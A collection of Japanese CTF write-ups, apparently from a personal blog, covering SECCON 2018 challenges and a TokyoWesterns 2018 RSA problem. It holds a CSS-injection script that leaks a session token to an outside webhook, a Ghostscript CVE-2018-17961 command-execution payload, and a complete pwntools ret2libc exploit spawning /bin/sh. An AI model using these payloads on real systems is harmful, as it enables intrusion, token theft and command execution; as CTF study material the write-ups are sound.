このIDをcookieCGISESSIDに設定してやればアップロード機能が使えるようになる。

セッションIDの特定に使ったスクリプト

import base64
import requests
import time

host = 'http://ghostkingdom.pwn.seccon.jp/'
own_host = '<webhookinbox url>'


def login(session):
    return session.get(
        host,
        params={"user": "tkgsytest",
                "pass": "seccon",
                'action': 'login'})


def take_sshot(session, url):
    print(url)
    time.sleep(31)
    return session.get(host, params={"action": "sshot2", "url": url})


def login_at_local(session):
    url = 'http://2130706433/?user=<username>&pass=<password>&action=login'
    return take_sshot(session, url)


def send_msg_at_local(session, css):
    template = 'http://2130706433/?msg=Yo&action=msgadm2&css={}'
    enc_css = base64.b64encode(css)
    return take_sshot(session, template.format(enc_css))


def get_injection_css(known_tails):
    temp1 = 'input[name=csrf][value$="{}{}"]'
    temp2 = 'background: url("{}{}");'
    payload = ''

    for i in range(16):
        trial = hex(i)[2]
        payload += temp1.format(trial, known_tails)
        payload += " { "
        payload += temp2.format(own_host, trial)
        payload += " } "

    print(payload)
    return payload


def search_session_id(session, known_tails):
    return send_msg_at_local(session, get_injection_css(known_tails))


if __name__ == '__main__':
    known_sid = ''

    session = requests.Session()
    login(session)
    login_at_local(session)

    for i in range(22 - len(known_sid)):
        search_session_id(session, known_sid)
        leaked = raw_input("> ")
        known_sid = leaked + known_sid

    print(known_sid)

webhookinboxを眺めながらヒットした文字を入力すれば最終的なセッションIDを出力してくれる。
30秒の待機はスクリーンショットが30秒以上の間隔を開けないと使えなかったから。

Exploit

画像のアップロードでどうすればいいのかは問題の名前から察しがついた。
TWCTFでも出てた気がするけど、ghostscript脆弱性を使えばいい、PoCのコードがそのまま動く。
以下のコードを脆弱性のあるghostscriptが読み込めばecho testが実行されることになる。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%echo test) currentdevice putdeviceprops

このコードを適当な名前(exploit.epsとか)で保存して画像としてアップロードしてやると、コマンドの実行結果が返ってくる。
あとは問題のリンクの最初にあったディレクトリ以下をlsしてフラグを表示してやればいい。

この脆弱性についてはCVE-2018-17961とかで調べたり、前に調べたのがhttps://hiziriai.hatenablog.com/entry/2018/09/06/161559にある。合ってるかは知らないけどな。

SECCON 2018 Online CTF Writeup

SECCON 2018 Online CTF writeup

解けたのはClassic Pwn, Runme, Unzipの3問。
何故かSpecial Instructionが解けてるのに正解が出ず...
そのままずるずると終わりました。

Classic Pwn

Pwn

まさに古典的Pwnといった感じの問題、classicという実行ファイルとlibcが降ってくる。

プログラムの動作は、getsで入力を受け取ってローカルバッファに格納して終了するというだけ。

4006a9:  55                      push   rbp
4006aa: 48 89 e5                mov    rbp,rsp
4006ad: 48 83 ec 40             sub    rsp,0x40
4006b1: bf 74 07 40 00          mov    edi,0x400774
4006b6: e8 65 fe ff ff          call   400520 <puts@plt>
4006bb: bf 8e 07 40 00          mov    edi,0x40078e
4006c0: b8 00 00 00 00          mov    eax,0x0
4006c5: e8 76 fe ff ff          call   400540 <printf@plt>
4006ca: 48 8d 45 c0             lea    rax,[rbp-0x40]
4006ce: 48 89 c7                mov    rdi,rax
4006d1: e8 8a fe ff ff          call   400560 <gets@plt>
4006d6: bf 9f 07 40 00          mov    edi,0x40079f
4006db: e8 40 fe ff ff          call   400520 <puts@plt>
4006e0: b8 00 00 00 00          mov    eax,0x0
4006e5: c9                      leave  
4006e6: c3                      ret    

getsは際限なく入力を受け取るのでオーバーフローする。
Stack Protectionがないのでmainのあとのリターンアドレスを書き換えることができ、制御を奪うことができる。
ただしx64なのでスタックに引数は積めない、ROPが必要になる。

libcもあるので、libcのベースアドレスをリークさせてsystemを呼び出すことにした。

putsにGOT領域にある関数のアドレスを引数として渡すことで、その関数のアドレスを出力させる。
関数のアドレスからその関数のオフセットを引くことで、libcのベースアドレスを計算できる。
そこで、libcのベースアドレスからsystemとlibc内の/bin/shのアドレスを取得する。
オフセットはreadelfstringsで取得できる。
それかpwntoolsELFとかを使っても取得できるはず。

$ readelf --sym libc # putsのオフセットは0x6f690
...
   404: 000000000006f690   456 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
...
$ strings -t x libc | grep /bin/sh # /bin/shのオフセットは0x18cd57
 18cd57 /bin/sh

最後にsystemを呼び出すため、もう一度プログラムの制御を奪う必要がある。 main関数をもう一度呼び出すことで再び制御を奪えるようにした。

まとめると

  1. BOFputsでGOT領域にある関数のアドレスを出力し、mainの先頭に戻る
  2. 出力されたアドレスからsystem/bin/shのアドレスを計算
  3. もう一度BOFをして、今度は計算されたsystem/bin/shを引数にして実行する
  4. シェルゲット

という感じ。

スクリプト

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './classic'
libc = './libc'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('classic.pwn.seccon.jp', 17354)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

# libcでのそれぞれの関数へのオフセット
system_offset = 0x0000000000045390
puts_offset = 0x000000000006f690
binsh_offset = 0x18cd57

elf = ELF(exe)
# rop gadget
pop_rdi = 0x00400753  # pop rdi; ret

main = 0x004006a9 # 2回脆弱性を攻撃するためにmain関数のアドレス、ret2vul

# オーバーフローするまでのパディング
payload = 'A' * 0x40  # padding
# push rbpでスタックに積まれたrbpを上書きする部分
payload += 'B' * 8  # prev_rbp

# puts(puts@got)でGOT領域に格納されたputsのアドレスを出力し、main関数をもう一度実行する
payload += p64(pop_rdi)          # rdiに引数としてputs@gotを設定
payload += p64(elf.got['puts'])  # popされる
payload += p64(elf.plt['puts'])  # puts(puts@got)、putsのアドレスを出力
payload += p64(main)             # mainをもう一度実行する

io.clean()             # 余計な出力を削除
io.sendline(payload)
io.recvuntil("Have a nice pwn!!\n") # 余計な部分まで読み出して削除

# putsのアドレスからlibcのベースアドレスを計算
puts_addr = io.recvline()[0:6]       # GOT領域のputsのアドレス、先頭2バイトが0なので6バイトまで
puts_addr = u64(puts_addr + '\0\0')  # 足りない2バイトの0を補って数値に変換
libc_base = puts_addr - puts_offset  # putsのオフセットを引くことでlibcのベースアドレスが計算できる

# libcのベースアドレスにオフセットを足して、それぞれのアドレスを計算
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

# デバッグのためログとして出力、pwndbgならgotコマンドでgotのアドレスが表示できるよ
log.info("puts @ got: {}".format(hex(puts_addr)))
log.info('libc base: {}'.format(hex(libc_base)))

# mainがもう一度実行されているので、こんどはsystemを呼び出すようにオーバーフローさせる
payload = 'A' * 0x40  # padding
payload += 'B' * 8  # prev_rbp

# system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh_addr)  # /bin/shをrdiに設定し、引数とする
payload += p64(system_addr) # やったぜ

io.sendline(payload)

io.interactive()

Runme

WinのPEが降ってくる。
中身はコマンドライン引数を一文字ずつ比較する関数を次々と呼び出しているだけなので、比較している文字を順番通りに並べればフラグになる。

Unzip

解凍するとzipファイルと解凍に使ったスクリプトが出てくる。

echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

perl -e "print time()"がパスワードらしい。 timeUNIX時間を返すのと、flag.zipの作成日からおおよそ"1540566600"の前後だということが分かった。 あとは前後60秒くらいをブルートフォースすればいい。

手動でやるのは面倒だったのでPythonにやらせた。 面倒なことは

import zipfile

unixtime = 1540566600


zipf = zipfile.ZipFile('./flag.zip')
for i in range(70):
    try:
        zipf.extractall(pwd=str(unixtime+i))
    except RuntimeError as e:
        continue

解凍するとflagが出てくる。

Special Instruction

マイナーなアーキテクチャのバイナリが降ってくる。
マルチアーキテクチャ対応のreadelfとかだとMoxieというアーキテクチャだと教えてくれる。
大熱血本のHPから実行環境付きのOVAを取得することもできる。

しかし、このバイナリはset_random_seedget_random_valueでオリジナルの命令を使うようになっているためそのままでは実行できない。

バイナリの挙動は、Cのソースコードにするとこんな感じである。

#include <stdio.h>

unsigned int seed = 0;
char flag[] = {0x6d, 0x72, 0xc3, 0xe2, 0xcf, 0x95, 0x54, 0x9d,
           0xb6, 0xac, 0x03, 0x84, 0xc3, 0xc2, 0x35, 0x93,
           0xc3, 0xd7, 0x7c, 0xe2, 0xdd, 0xd4, 0xac, 0x5e,
           0x99, 0xc9, 0xa5, 0x34, 0xde, 0x06, 0x4e, 0x00};
char randval[] = {0x3d, 0x05, 0xdc, 0x31, 0xd1, 0x8a, 0xaf, 0x29,
          0x96, 0xfa, 0xcb, 0x1b, 0x01, 0xec, 0xe2, 0xf7,
          0x15, 0x70, 0x6c, 0xf4, 0x7e, 0xa1, 0x9e, 0x0e,
          0x01, 0xf9, 0xc2, 0x4c, 0xba, 0xa0, 0xa1, 0x08,
          0x70, 0x24, 0x85, 0x8a, 0x4d, 0x2d, 0x3c, 0x02,
          0xfc, 0x6f, 0x20, 0xf0, 0xc7, 0xad, 0x2f, 0x97,
          0x2b, 0xcc, 0xa3, 0x34, 0x23, 0x53, 0xc9, 0xb7,
          0x0c, 0x10, 0x6c, 0x0e, 0xfa, 0xf9, 0xa1, 0x9a,};

void set_random_seed(unsigned int num) {
  seed = num;
}

unsigned int get_random_value() {
  seed ^= seed << 13;
  seed ^= seed >> 17;
  seed ^= seed << 5;
    
  return seed;
}

char* decode(char* flag, char* randval) {
  if (flag[0] != 0) {
    char* randval_ptr = randval; // r8
    char* flag_ptr = flag; // r7

    while(1) {
      unsigned char r6 = *randval_ptr;
      r6 ^= get_random_value();
      r6 ^= *flag_ptr;
      *flag_ptr = r6;
      
      flag_ptr++;
      randval_ptr++;
      
      if (*flag_ptr == 0) {
        break;
      }
    }
  }

  return flag;
}

int main(int argc, char** argv){
  // ヒントの出力

  set_random_seed(0x92d68ca2);

  printf("%s\n", decode(flag, randval));

  return 0;
}

decodemainは、クロスコンパイルした結果がバイナリとほぼ一致していたので合っているはず。
最初の方に出力命令があり、以下のヒントを出力するようになっていた。

SETRSEED: (Opcode:0x16)
    RegA -> SEED
GETRAND: (Opcode:0x17)
    xorshift32(SEED) -> SEED
    SEED -> RegA

要はオリジナルの命令の挙動を説明しているんだと思う。
上記のCコードではこれも関数として補っている。
xorshift32は疑似乱数生成アルゴリズムの一種で、高速で実装が簡単な割りに周期がそこそこ長くて優秀らしい。
wikiに載っている実装をそのまま持ってきた(uint32_tはクロスコンパイル環境で使えなかったのでunsigned intに変えている)。

しかし、何故かフラグとして正常にデコードできなかった。
xorshift32はあちこちにあるサンプル実装そのままなのでおそらく合ってる、set_random_seedはまずこれ以外ない。
となるとget_random_valueが違うということになるけど、ヒントそのままの挙動のはず。
というわけで投げた。

人のwriteup(https://hikalium.hatenablog.jp/entry/2018/10/28/164812)を見てみた。
パラメータは適当らしい、ざけんな。
xorshift32の正解のパラメータは13, 17, 15だそうなので試したら解けた。

CTFの問題にはどんな場合でもブルートフォース要素を含めるなとは言わないが、アルゴリズムの名前だけを知らせてそのパラメータを総当たりさせることが本当にその問題を面白くするのかどうか考えてからそうして欲しい。 ヒントにたった3つの整数を付け足すだけで問題の難易度を下げることなく参加者のストレスを低減できる。

まあ論文読めば解けるのでこれは論文を読めという天啓かもしれない。

感想

Special Instructionで詰まって投げてしまってこの4つ以外はほとんど触れていない。
限られた問題だけで感想を言うと、正直微妙だった。
どうでもいいような問題ばかりであまり学べることがなく、参加してもしなくても同じという印象を抱いてしまった。
まあ偶然ハズレを引いたんだと気持ちを入れ替えて、他の問題のWriteup見て反省しよう。
大熱血本も読まないとなあ。

TokyoWesterns CTF 2018 Revolutional Secure Angou 復習 ctf crypto

Revolutional Secure Angou 復習

https://ctftime.org/writeup/10865 Writeup見て復習。

RSA問題、珍しくRubyで書かれている。

require 'openssl'

e = 65537
while true
  p = OpenSSL::BN.generate_prime(1024, false)
  q = OpenSSL::BN.new(e).mod_inverse(p)
  next unless q.prime?
  key = OpenSSL::PKey::RSA.new
  key.set_key(p.to_i * q.to_i, e, nil)
  File.write('publickey.pem', key.to_pem)
  File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag')))
  break
end

僕はまったく分からなかったが、qの生成方法が普通と違うので不備があることに気付けるらしい。

通常のRSAの手順は以下のようになる。

  1. ランダムに2つの素数を生成、pq
  2. p-1q-1に対して素な整数e, public exponentを選ぶ、たいてい0x10001, 65537になっている。
  3. d, private exponentを計算する。これはd = e^{-1}\ mod\ (p-1)(q-1)で計算される。
  4. n = pqを計算し、(n, e)を公開鍵、d秘密鍵にする。

普通はqもランダムに生成するが、このスクリプトではq = OpenSSL::BN.new(e).mod_inverse(p)となっている。
つまり、q = e^{-1}\ mod\ pで生成されている。
この式を変形するとqe = 1\ mod\ pとなり、qe = pk + 1と表せる(kは任意の整数)。
ここで、両辺にpをかける。
すると、pqe = kp^2 + pとなる。
n = pqなので、pqeは知ることができる。
つまり、kp^2 + p - ne = 0という2次方程式になる。
これによりpを求めることができる。

pが分かればdを計算できる、これで暗号化されたフラグを復号できる。